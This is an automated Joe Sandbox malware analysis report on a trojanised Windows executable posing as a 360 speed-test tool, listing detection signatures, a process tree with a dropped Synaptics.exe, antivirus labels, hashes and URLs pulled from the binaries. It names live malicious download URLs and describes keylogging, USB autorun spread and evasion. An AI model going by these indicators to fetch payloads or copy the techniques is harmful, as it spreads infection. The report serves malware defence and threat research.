Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
360#U6d4b#U901f.exe

Overview

General Information

Sample Name:360#U6d4b#U901f.exe
Analysis ID:776384
MD5:f4e6aac90793c1830e47adfd445254ae
SHA1:3de193ff5b14466e9133924a0cbbd47e93e8e4b5
SHA256:f080bf1c00fb050cc2a92fb17c08cd22d427782c6f47c532a2462ce3325905f0
Tags:exe
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Document contains an embedded VBA with functions possibly related to ADO stream file operations
Found stalling execution ending in API Sleep call
Machine Learning detection for sample
Drops PE files to the document folder of the user
Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)
Document contains an embedded VBA with functions possibly related to HTTP operations
Document contains an embedded VBA macro with suspicious strings
Machine Learning detection for dropped file
Antivirus or Machine Learning detection for unpacked file
Drops PE files to the application program directory (C:\ProgramData)
One or more processes crash
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Queries the installation date of Windows
Detected potential crypto function
Contains functionality to launch a process as a different user
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to simulate keystroke presses
Drops files with a non-matching file extension (content does not match file extension)
Drops PE files
Tries to load missing DLLs
Checks if the current process is being debugged
Contains functionality to retrieve information about pressed keystrokes
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to shutdown / reboot the system
May infect USB drives
Contains functionality to execute programs as a different user
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Document contains an embedded VBA macro which executes code when the document is opened / closed
Contains functionality to call native functions
Contains functionality to communicate with device drivers
Contains functionality to read the clipboard data
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Sample file is different than original file name gathered from version info
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to launch a program with higher privileges
Potential key logger detected (key state polling based)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries disk information (often used to detect virtual machines)
Contains functionality to simulate mouse events

Classification

Process Tree

  • System is w10x64
  • 360#U6d4b#U901f.exe (PID: 3648 cmdline: C:\Users\user\Desktop\360#U6d4b#U901f.exe MD5: F4E6AAC90793C1830E47ADFD445254AE)
    • ._cache_360#U6d4b#U901f.exe (PID: 3480 cmdline: "C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe" MD5: 2DA4AF50967E752FDB5793B2CEBCC847)
      • 360SpeedTest.exe (PID: 6092 cmdline: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe MD5: 93E2A4CA6DC7ECBAD3F3A179F796CBFF)
    • Synaptics.exe (PID: 5680 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 9429B447E97A8C5F6DCBF760C3A32F02)
      • WerFault.exe (PID: 4140 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 2880 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
      • WerFault.exe (PID: 4392 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 2712 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • EXCEL.EXE (PID: 6052 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
  • Synaptics.exe (PID: 812 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: 9429B447E97A8C5F6DCBF760C3A32F02)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
360#U6d4b#U901f.exeJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\ProgramData\Synaptics\RCX35C5.tmpJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
      C:\Users\user\Documents\DVWHKMNFNN\~$cache1JoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
        C:\ProgramData\Synaptics\Synaptics.exeJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security

          Memory Dumps

          SourceRuleDescriptionAuthorStrings
          00000000.00000000.288660100.0000000000401000.00000020.00000001.01000000.00000003.sdmpJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            0.0.360#U6d4b#U901f.exe.400000.0.unpackJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security

              Sigma Signatures

              ⊘No Sigma rule has matched

              Snort Signatures

              ⊘No Snort rule has matched

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus detection for URL or domain
              Source: http://xred.site50.net/syn/Synaptics.rarURL Reputation: Label: malware
              Antivirus detection for dropped file
              Source: C:\ProgramData\Synaptics\Synaptics.exeAvira: detection malicious, Label: TR/Dldr.Agent.SH
              Source: C:\ProgramData\Synaptics\Synaptics.exeAvira: detection malicious, Label: W2000M/Dldr.Agent.17651006
              Source: C:\ProgramData\Synaptics\RCX35C5.tmpAvira: detection malicious, Label: TR/Dldr.Agent.SH
              Source: C:\ProgramData\Synaptics\RCX35C5.tmpAvira: detection malicious, Label: W2000M/Dldr.Agent.17651006
              Multi AV Scanner detection for submitted file
              Source: 360#U6d4b#U901f.exeReversingLabs: Detection: 85%
              Source: 360#U6d4b#U901f.exeVirustotal: Detection: 88%Perma Link
              Antivirus / Scanner detection for submitted sample
              Source: 360#U6d4b#U901f.exeAvira: detected
              Source: 360#U6d4b#U901f.exeAvira: detected
              Multi AV Scanner detection for domain / URL
              Source: http://xred.site50.net/syn/SUpdate.iniZVirustotal: Detection: 5%Perma Link
              Multi AV Scanner detection for dropped file
              Source: C:\ProgramData\Synaptics\RCX35C5.tmpReversingLabs: Detection: 92%
              Source: C:\ProgramData\Synaptics\Synaptics.exeReversingLabs: Detection: 85%
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeReversingLabs: Detection: 14%
              Source: C:\Users\user\Documents\DVWHKMNFNN\~$cache1ReversingLabs: Detection: 92%
              Machine Learning detection for sample
              Source: 360#U6d4b#U901f.exeJoe Sandbox ML: detected
              Machine Learning detection for dropped file
              Source: C:\ProgramData\Synaptics\Synaptics.exeJoe Sandbox ML: detected
              Source: 4.3.360SpeedTest.exe.af9ff8a.3.unpackAvira: Label: TR/Patched.Ren.Gen
              Source: 0.0.360#U6d4b#U901f.exe.400000.0.unpackAvira: Label: TR/Dldr.Agent.SH
              Source: 0.0.360#U6d4b#U901f.exe.400000.0.unpackAvira: Label: W2000M/Dldr.Agent.17651006
              Source: 4.3.360SpeedTest.exe.b71ff7c.7.unpackAvira: Label: TR/Patched.Ren.Gen
              Source: 0.0.360#U6d4b#U901f.exe.4b8e14.1.unpackAvira: Label: TR/Patched.Ren.Gen
              Source: 2.0.Synaptics.exe.400000.0.unpackAvira: Label: TR/Dldr.Agent.SH
              Source: 2.0.Synaptics.exe.400000.0.unpackAvira: Label: W2000M/Dldr.Agent.17651006
              Source: 4.3.360SpeedTest.exe.b75fdc0.5.unpackAvira: Label: TR/Patched.Ren.Gen
              Source: 360#U6d4b#U901f.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
              Source: Binary string: c:\Program Files (x86)\360\360Safe\netmon\360SpeedTest.pdb source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmp
              Source: Binary string: d:\build\360Pdown_3\DownDll\Release\LiveUpd360.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.dr
              Source: Binary string: c:\Program Files (x86)\360\360safe\netmon\360perfoptm.pdbT source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: e:\build\360fos\trunk\NetSpeed\release\NetSpeed.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: c:\Program Files (x86)\360\360Safe\netmon\360SpeedTest.pdb( source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmp
              Source: Binary string: E:\Jenkins\workspace\GA_Channel_Package\OnlineInstall\NoFinishPageRelease\NoFinishPage_FoxitInst.pdb source: nts9475.tmp.P2P.4.dr
              Source: Binary string: e:\build\360fos\trunk\NetSpeed\release\NetSpeed.pdbT source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: D:\build\360P2SP_2\360P2SP\Release\360P2SP.pdb`` source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: D:\build\360P2SP_2\360P2SP\Release\360P2SP.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: d:\build\360Net_2\Release\360net.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.293163450.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343634256.00000000093F1000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: d:\build\360NetUL\bin\360NetUL.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.293649323.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343808558.00000000093F1000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: d:\build\360Pdown_3\PDown\Release\PDown.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295666957.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: c:\Program Files (x86)\360\360safe\netmon\360perfoptm.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmp
              Source: 360#U6d4b#U901f.exe, 00000000.00000000.288660100.0000000000401000.00000020.00000001.01000000.00000003.sdmpBinary or memory string: [autorun]
              Source: 360#U6d4b#U901f.exe, 00000000.00000000.288660100.0000000000401000.00000020.00000001.01000000.00000003.sdmpBinary or memory string: [autorun]
              Source: 360#U6d4b#U901f.exe, 00000000.00000000.288660100.0000000000401000.00000020.00000001.01000000.00000003.sdmpBinary or memory string: autorun.inf
              Source: 360#U6d4b#U901f.exeBinary or memory string: [autorun]
              Source: 360#U6d4b#U901f.exeBinary or memory string: [autorun]
              Source: 360#U6d4b#U901f.exeBinary or memory string: autorun.inf
              Source: Synaptics.exe.0.drBinary or memory string: [autorun]
              Source: Synaptics.exe.0.drBinary or memory string: [autorun]
              Source: Synaptics.exe.0.drBinary or memory string: autorun.inf
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\userJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppDataJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.iniJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Internet ExplorerJump to behavior
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,1_2_00436ADE
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,1_2_00452126
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,1_2_0045C999
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,1_2_00434BEE
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0045DD7C FindFirstFileW,FindClose,1_2_0045DD7C
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,1_2_0044BD29
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,1_2_00436D2D
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,1_2_00442E1F
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,1_2_00475FE5
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,1_2_0044BF8D
              Source: Joe Sandbox ViewIP Address: 69.42.215.252 69.42.215.252
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://%s/%u%u.html
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://api.ip.360.cn/netmona24a7151557b91035858d164ddbe2e69..
              Source: 360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmp, netspeedtmp.npl.1.drString found in binary or memory: http://bigsoftdlc.360tpcdn.com/auto/20200826/104511_999095167454c21f770b31e8f080ebb7.exe
              Source: 360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://bigsoftdlc.360tpcdn.com/auto/20200826/104511_999095167454c21f770b31e8f080ebb7.exeexe
              Source: 360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmp, netspeedtmp.npl.1.drString found in binary or memory: http://bigsoftdlc.360tpcdn.com/auto/20201125/105005364_74cbde2c220e12dbd49b2c86e0ab2c6f.exe
              Source: netspeedtmp.npl.1.drString found in binary or memory: http://bigsoftdlc.360tpcdn.com/auto/20201125/255_783b4b154d0324eeb977fbb2af3a6c62.exe
              Source: 360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmp, netspeedtmp.npl.1.drString found in binary or memory: http://bigsoftdlc.360tpcdn.com/auto/20201126/1900021484_094eacafce95b2fe2a636011913a57b0.exe
              Source: 360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://bigsoftdlc.360tpcdn.com/auto/20201126/1900021484_094eacafce95b2fe2a636011913a57b0.exey2q
              Source: netspeedtmp.npl.1.drString found in binary or memory: http://bigsoftdlc.360tpcdn.com/auto/20201126/25_bc9b01c87e77161ae1c8c49357e7d7c7.exe
              Source: netspeedtmp.npl.1.drString found in binary or memory: http://bigsoftdlc.360tpcdn.com/auto/20210401/103779382_99dafefbd4193095a95fa713348fe6e7.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.geotrust.com/crls/gtglobal.crl04
              Source: nts9475.tmp.P2P.4.drString found in binary or memory: http://dcs.foxitreader.cn/pdf2word/actionid_v2?version=%ssuccess$1000021$HTTP/1.0Content-Type:
              Source: nts9475.tmp.P2P.4.drString found in binary or memory: http://dl.foxitreader.cn/api/pushLog_v2?version=%s%d.%d.%d.%dnullstart1test.fnFoxitOpenUrl.exe
              Source: nts9475.tmp.P2P.4.drString found in binary or memory: http://dl.foxitreader.cn/api/settings_v2?region=cc&channel=%s&skq=%d
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://down.360safe.com/cse/cs_inst.cab
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://down.360safe.com/instbeta.exeopenc:
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://down.360safe.com/setup.exeIsBetaVersion360ver.dll
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295666957.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://down.360safe.com/setup.exeIsBetaVersion360ver.dllPath
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.drString found in binary or memory: http://down.360safe.com/setup.exeIsBetaVersion360ver.dllPathopen
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://down.360safe.com/setup.exeIsBetaVersion360ver.dllSOFTWARE
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300605048.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295666957.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe8
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000000.301708795.000000000133E000.00000008.00000001.01000000.00000006.sdmp, LiveUpd360.dll.1.drString found in binary or memory: http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exeN
              Source: nts9475.tmp.P2P.4.drString found in binary or memory: http://file.foxitreader.cn/forbiddenTodelete.txt?skq=%d
              Source: Synaptics.exe.0.drString found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://ip.360.cn/?ip=%s-N
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://netmon.stat.360safe.com/stat?mid=%s&type=4&k1=%I64d&k2=%shttp://netmon.stat.360safe.com/stat?
              Source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://netmon.stat.360safe.com/stat?mid=%s&type=404&k1=%d&k2=%shttp://netmon.stat.360safe.com/stat?m
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://netmon.stat.360safe.com/stat?mid=%s&type=408&k1=%d&k2=%s%u
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://netmon.stat.360safe.com/stat?mid=%s&type=411&k1=%d&k2=%s&k3=%s1SpeedTestShortCutRepairOncespe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.297180090.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.297260003.0000000002F2B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://netmon.stat.360safe.comPA
              Source: 360SpeedTest.exe, 00000004.00000003.352372171.000000000AF2C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_Error
              Source: 360SpeedTest.exe, 00000004.00000003.354619701.000000000AF78000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.352372171.000000000AF2C000.00000004.00000800.00020000.00000000.sdmp, nts9442.tmp.P2P.4.drString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.geotrust.com0K
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pstat.p.360.cn/uplog.php0cpsign1md5b3deb21a3401d8e933ddcb45a6c07222
              Source: 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.30
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.360.cn/360se6/360se6_6.0.2.190.exe
              Source: 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.360.cn/360se6/360se6_6.0.2.190.exe//p2=0
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.360.cn/91assistant/91assistant_iphone_2.9.78.381bd.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.360.cn/WanDouJia/WanDouJia_2.35.0.2202bd.exe
              Source: 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.360.cn/WanDouJia/WanDouJia_2.35.0.2202bd.exe_
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.360.cn/dwyy/YYSetup_5.4.0.3.exe
              Source: 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.360.cn/dwyy/YYSetup_5.4.0.3.exe$
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300951849.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.301121205.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554846987.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.360.cn/se5/360se_5.0.9.5_20121231.exe
              Source: 360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://softdl.360.cn/se5/360se_5.0.9.5_20121231.exee
              Source: 360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmp, netspeedtmp.npl.1.drString found in binary or memory: http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exe
              Source: 360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exej0f
              Source: 360SpeedTest.exe, 00000004.00000003.352426964.000000000AF4A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exeu0
              Source: netspeedtmp.npl.1.drString found in binary or memory: http://softdlc.360tpcdn.com/auto/20201127/23_21ed487ededbbb428b2a7dcecc969c7c.exe
              Source: netspeedtmp.npl.1.drString found in binary or memory: http://softdlc.360tpcdn.com/auto/20201130/2000000064_f07aefc3d918ebdafa9418f3f5ef5f9c.exe
